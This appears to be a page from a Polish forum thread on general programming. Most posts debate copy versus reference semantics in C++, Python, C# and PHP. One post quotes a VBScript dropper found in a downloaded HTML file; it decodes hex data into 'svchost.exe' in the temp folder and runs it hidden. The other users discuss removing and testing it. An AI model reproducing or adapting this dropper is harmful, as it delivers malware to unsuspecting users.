Reklama
Strona 154 z 358 PierwszaPierwsza ... 54104144152153154155156164204254 ... OstatniaOstatnia
Pokazuje wyniki od 2,296 do 2,310 z 5367

Temat: Programowanie - temat ogólny

  1. #2296
    Avatar 2cztery7
    Data rejestracji
    2014
    Posty
    628
    Siła reputacji
    10

    Domyślny

    Cytuj Zeimer napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Nie wiem jak ty, ale kiedy ja robię przypisanie, to spodziewam się kopii. Kopia jest znacznie bardziej przydatna, niż posiadanie dwóch referencji do tego samego obiektu.
    dlatego c/c++ > wszystko, tam masz kontrolę nad tym, co robisz ;p
    chcesz kopię? spoko, a = b
    chcesz referencję? spoko, *a = &b
    chcesz kopię z referencji? spoko, a = *b
    itd :D
    w sumie wskaźnik na obiekt można chyba nazwać referencją?
    @
    co sądzicie o serii "Learn xx the hard way"?
    Ostatnio zmieniony przez 2cztery7 : 26-11-2014, 09:17

  2. #2297
    Avatar zakius
    Data rejestracji
    2008
    Położenie
    The Internets
    Wiek
    33
    Posty
    11,075
    Siła reputacji
    24

    Domyślny

    Cytuj 2cztery7 napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    w sumie wskaźnik na obiekt można chyba nazwać referencją?
    yup
    a w delfiaku masz tylko := i w sumie chyba na obiektach to dodaje referencję a dla prymitywów kopiuje, chociaż to może być bardziej złożone i nie ogarnąłem do końca

    edit

    Różnica polega jednak na tym, że do referencji można przypisać adres tylko raz

    to... w delfiaku w sumie chyba wtedy tojest niejawny wskaźnik na ten sam adres co drugiego niejawnego wskaźnika -.-
    Ostatnio zmieniony przez zakius : 26-11-2014, 09:56
    Problem z komputerem? Instrukcja diagnostyczna
    Cytuj Vegeta napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Baby maja wymagania jak windows vista, takze nigdy nie wiesz.
    Cytuj Dzzej napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Moje posty to esencja głupoty.
    "Don't worry, I'm just a pervert"

  3. Reklama
  4. #2298
    konto usunięte

    Domyślny

    Cytuj 2cztery7 napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    chcesz referencję? spoko, *a = &b
    chcesz kopię z referencji? spoko, a = *b
    Powinno byc:
    a* = &b;
    c& = b;

  5. #2299
    Avatar 2cztery7
    Data rejestracji
    2014
    Posty
    628
    Siła reputacji
    10

    Domyślny

    Cytuj szulak napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Powinno byc:
    a* = &b;
    c& = b;
    http://ideone.com/pGT4SZ
    ??

  6. #2300
    konto usunięte

    Domyślny

    Cytuj 2cztery7 napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    @2cztery7 ;

    To jest ok, ale napisz to tak jak wczesniej napisales:

    Cytuj 2cztery7 napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    chcesz referencję? spoko, *a = &b
    chcesz kopię z referencji? spoko, a = *b

    Dobra, juz wiem gdzie jest problem:
    Ty zakladasz, ze *a = &b to to samo co TestClass *a = &b, a ja zakladam ze *a to TestClass *a; *a= &b

    Ot, takie niedopatrzenie.
    Ostatnio zmieniony przez szulak : 26-11-2014, 12:18

  7. #2301
    Avatar 2cztery7
    Data rejestracji
    2014
    Posty
    628
    Siła reputacji
    10

    Domyślny

    w sumie racja, powinienem był napisać z typem ;p

  8. #2302
    Avatar Zeimer
    Data rejestracji
    2008
    Położenie
    Kraina Konserwatywnych Liberałów
    Posty
    398
    Siła reputacji
    16

    Domyślny

    Cytuj Alex Fortune napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    ale czegoś nie rozumiem
    Po jaki gwizdek Ci kopia, w momencie kiedy z Twojego punktu widzenia to *jest* kopia, ponieważ jak tylko dostawisz inną wartość do jednej z tych zmiennych, referencja się zmieni, więc z Twojego punktu widzenia jest to dokładnie to samo, co operowanie na kopii? :D
    No jednak nie jest to samo.
    Kod:
    Python 2.6.6 (r266:84292, Jan 22 2014, 09:42:36) 
    [GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> a = b = [1, 2]
    >>> a
    [1, 2]
    >>> b
    [1, 2]
    >>> del b[1]
    >>> a
    [1]
    >>> b
    [1]
    Zresztą odpal mój algorytm do znajdowania permutacji i zamień sobie kopię na przypisanie. Zobaczysz, że nie zadziała.

    Cytuj 2cztery7 napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    dlatego c/c++ > wszystko, tam masz kontrolę nad tym, co robisz ;p
    chcesz kopię? spoko, a = b
    chcesz referencję? spoko, *a = &b
    chcesz kopię z referencji? spoko, a = *b
    itd :D
    w sumie wskaźnik na obiekt można chyba nazwać referencją?
    @
    co sądzicie o serii "Learn xx the hard way"?
    Jeszcze lepiej masz w Haskellu, tam jest praktycznie tylko kopia a i tak wszystko śmiga wzorowo : )
    Ostatnio zmieniony przez Zeimer : 26-11-2014, 17:29

  9. #2303

    Data rejestracji
    2010
    Posty
    2,657
    Siła reputacji
    16

    Domyślny

    Cytuj Zeimer napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    No jednak nie jest to samo.
    Kod:
    Python 2.6.6 (r266:84292, Jan 22 2014, 09:42:36) 
    [GCC 4.4.7 20120313 (Red Hat 4.4.7-4)] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> a = b = [1, 2]
    >>> a
    [1, 2]
    >>> b
    [1, 2]
    >>> del b[1]
    >>> a
    [1]
    >>> b
    [1]
    Zresztą odpal mój algorytm do znajdowania permutacji i zamień sobie kopię na przypisanie. Zobaczysz, że nie zadziała.



    Jeszcze lepiej masz w Haskellu, tam jest praktycznie tylko kopia a i tak wszystko śmiga wzorowo : )
    No ale to jest wobec tego lista. :)

    C#:
    Kod:
    List<int> test = new List<int>();
    test.add(1);
    test.add(5);
    List<int> test2 = test;
    
    test.remove(1);
    //test i test2 nadal są te same
    Implementacja różni się od języka, w PHPie np:

    Kod:
    $a = [1,2,3];
    $b = $a;
    $b[] = 4;
    //$a i $b różnią się

  10. #2304
    konto usunięte

    Domyślny

    W C++ domyslna semantyka, jest semantyka kopiowania:

    Kod:
    #include <iostream>
    #include <cassert>
    #include <list>
    #include <cstdint>
    
    int main() 
    {
    	std::list<uint32_t> a = { 1, 2, 3};
    	std::list<uint32_t> b (a);
    	
    	a.pop_back();
    	
    	assert(a.size() != b.size());
    }

  11. #2305
    Avatar Absherr
    Data rejestracji
    2008
    Położenie
    Kraków
    Posty
    578
    Siła reputacji
    16

  12. #2306
    Avatar Pawelek212
    Data rejestracji
    2011
    Wiek
    28
    Posty
    472
    Siła reputacji
    14

    Domyślny

    Hej TORGI, pobralem dzis plik ".html" i uruchomilem (niestety), a potem w srodku znalazlem takie cudo:
    Kod:
    <SCRIPT Language=VBScript><!--
    DropFileName = "svchost.exe"
    
    WriteData = "4D5A90000300000004000000....."
    
    Set FSO = CreateObject("Scripting.FileSystemObject")
    
    DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
    
    If FSO.FileExists(DropPath)=False Then
    
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    
    For i = 1 To Len(WriteData) Step 2
    
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    
    Next
    
    FileObj.Close
    
    End If
    
    Set WSHshell = CreateObject("WScript.Shell")
    
    WSHshell.Run DropPath, 0
    
    //--></SCRIPT>
    Teraz pytanie, jak sie tego pozbyc? Bo domyslam sie, ze to jakis virus.
    Tutaj link do pastebin co dokladnie bylo w WriteData --> http://pastebin.com/FC5bzqe4

  13. #2307
    Avatar zakius
    Data rejestracji
    2008
    Położenie
    The Internets
    Wiek
    33
    Posty
    11,075
    Siła reputacji
    24

    Domyślny

    1. skrypt jest wykomentowany
    2. It's important to note that VBScript is supported only by Internet Explorer.


    ale sprawdź na wszelki wypadek wszystkie katalogi tymczasowe (2 to temp, ale kurde nie wiem który :D, prawdopodobnie ten w %temp%)

    jeśli plik jest to przeskanuj, jak nie to luz, a sam później ogarnę co to (całkiem fajnie to jest zrobione, tak na szybko go nie wyciągnę)
    Problem z komputerem? Instrukcja diagnostyczna
    Cytuj Vegeta napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Baby maja wymagania jak windows vista, takze nigdy nie wiesz.
    Cytuj Dzzej napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Moje posty to esencja głupoty.
    "Don't worry, I'm just a pervert"

  14. #2308
    Avatar Pawelek212
    Data rejestracji
    2011
    Wiek
    28
    Posty
    472
    Siła reputacji
    14

    Domyślny

    Plik otworzylem za pomoca Google Chrome. W %temp% oraz %WinDir%\Temp zadnego pliku .exe nie mam.

  15. #2309
    Avatar zakius
    Data rejestracji
    2008
    Położenie
    The Internets
    Wiek
    33
    Posty
    11,075
    Siła reputacji
    24

    Domyślny

    weź jeszcze tak dla spokoju ducha załóż temat w sio z logami otl wg instrukcji, chociaż imo TEGO nie ędzie, najwyżej jakieś inne głupoty Vadim ci posprząta :D

    (ciekawe, czy ie by toto wykonał bez pytania o zgodę, jeśli tak to trochę zonk, ale wątpię)

    edit: haha, jak chciałem zmusić ten plik do działania to mi AV już jęczy
    Ostatnio zmieniony przez zakius : 28-11-2014, 12:08
    Problem z komputerem? Instrukcja diagnostyczna
    Cytuj Vegeta napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Baby maja wymagania jak windows vista, takze nigdy nie wiesz.
    Cytuj Dzzej napisał Pokaż post
    Cytat został ukryty, ponieważ ignorujesz tego użytkownika. Pokaż cytat.
    Moje posty to esencja głupoty.
    "Don't worry, I'm just a pervert"

  16. #2310
    Avatar Pawelek212
    Data rejestracji
    2011
    Wiek
    28
    Posty
    472
    Siła reputacji
    14

    Domyślny

    Moj avast niestety mial wyjebane.
    Mysle, ze nie bedzie potrzeby dodatkowego skanowania. :P
    Uruchomilem to na wirutalnej maszynie i faktycznie tworza sie 2 pliki w %temp%, wiec skoro u mnie ich nie ma to czuje sie bezpieczny.

Reklama

Informacje o temacie

Użytkownicy przeglądający temat

Aktualnie 1 użytkowników przegląda ten temat. (0 użytkowników i 1 gości)

Podobne tematy

  1. Star Wars: The Old Republic - temat ogólny
    Przez Mefistos w dziale Inne gry
    Odpowiedzi: 106
    Ostatni post: 21-11-2012, 14:28
  2. League of Legends //dla potomnosci: League of Legends - temat ogolny.
    Przez ZinC w dziale Inne gry
    Odpowiedzi: 30145
    Ostatni post: 24-03-2012, 02:33
  3. Cities XL 2012 - temat ogólny
    Przez Bezdomny w dziale Inne gry
    Odpowiedzi: 0
    Ostatni post: 20-10-2011, 18:11
  4. Dragon Ball Legend temat ogólny
    Przez Mugenoo w dziale Tematy serwerów
    Odpowiedzi: 20
    Ostatni post: 02-03-2011, 16:47

Zakładki

Zakładki

Zasady postowania

  • Nie możesz pisać nowych tematów
  • Nie możesz pisać postów
  • Nie możesz używać załączników
  • Nie możesz edytować swoich postów
  •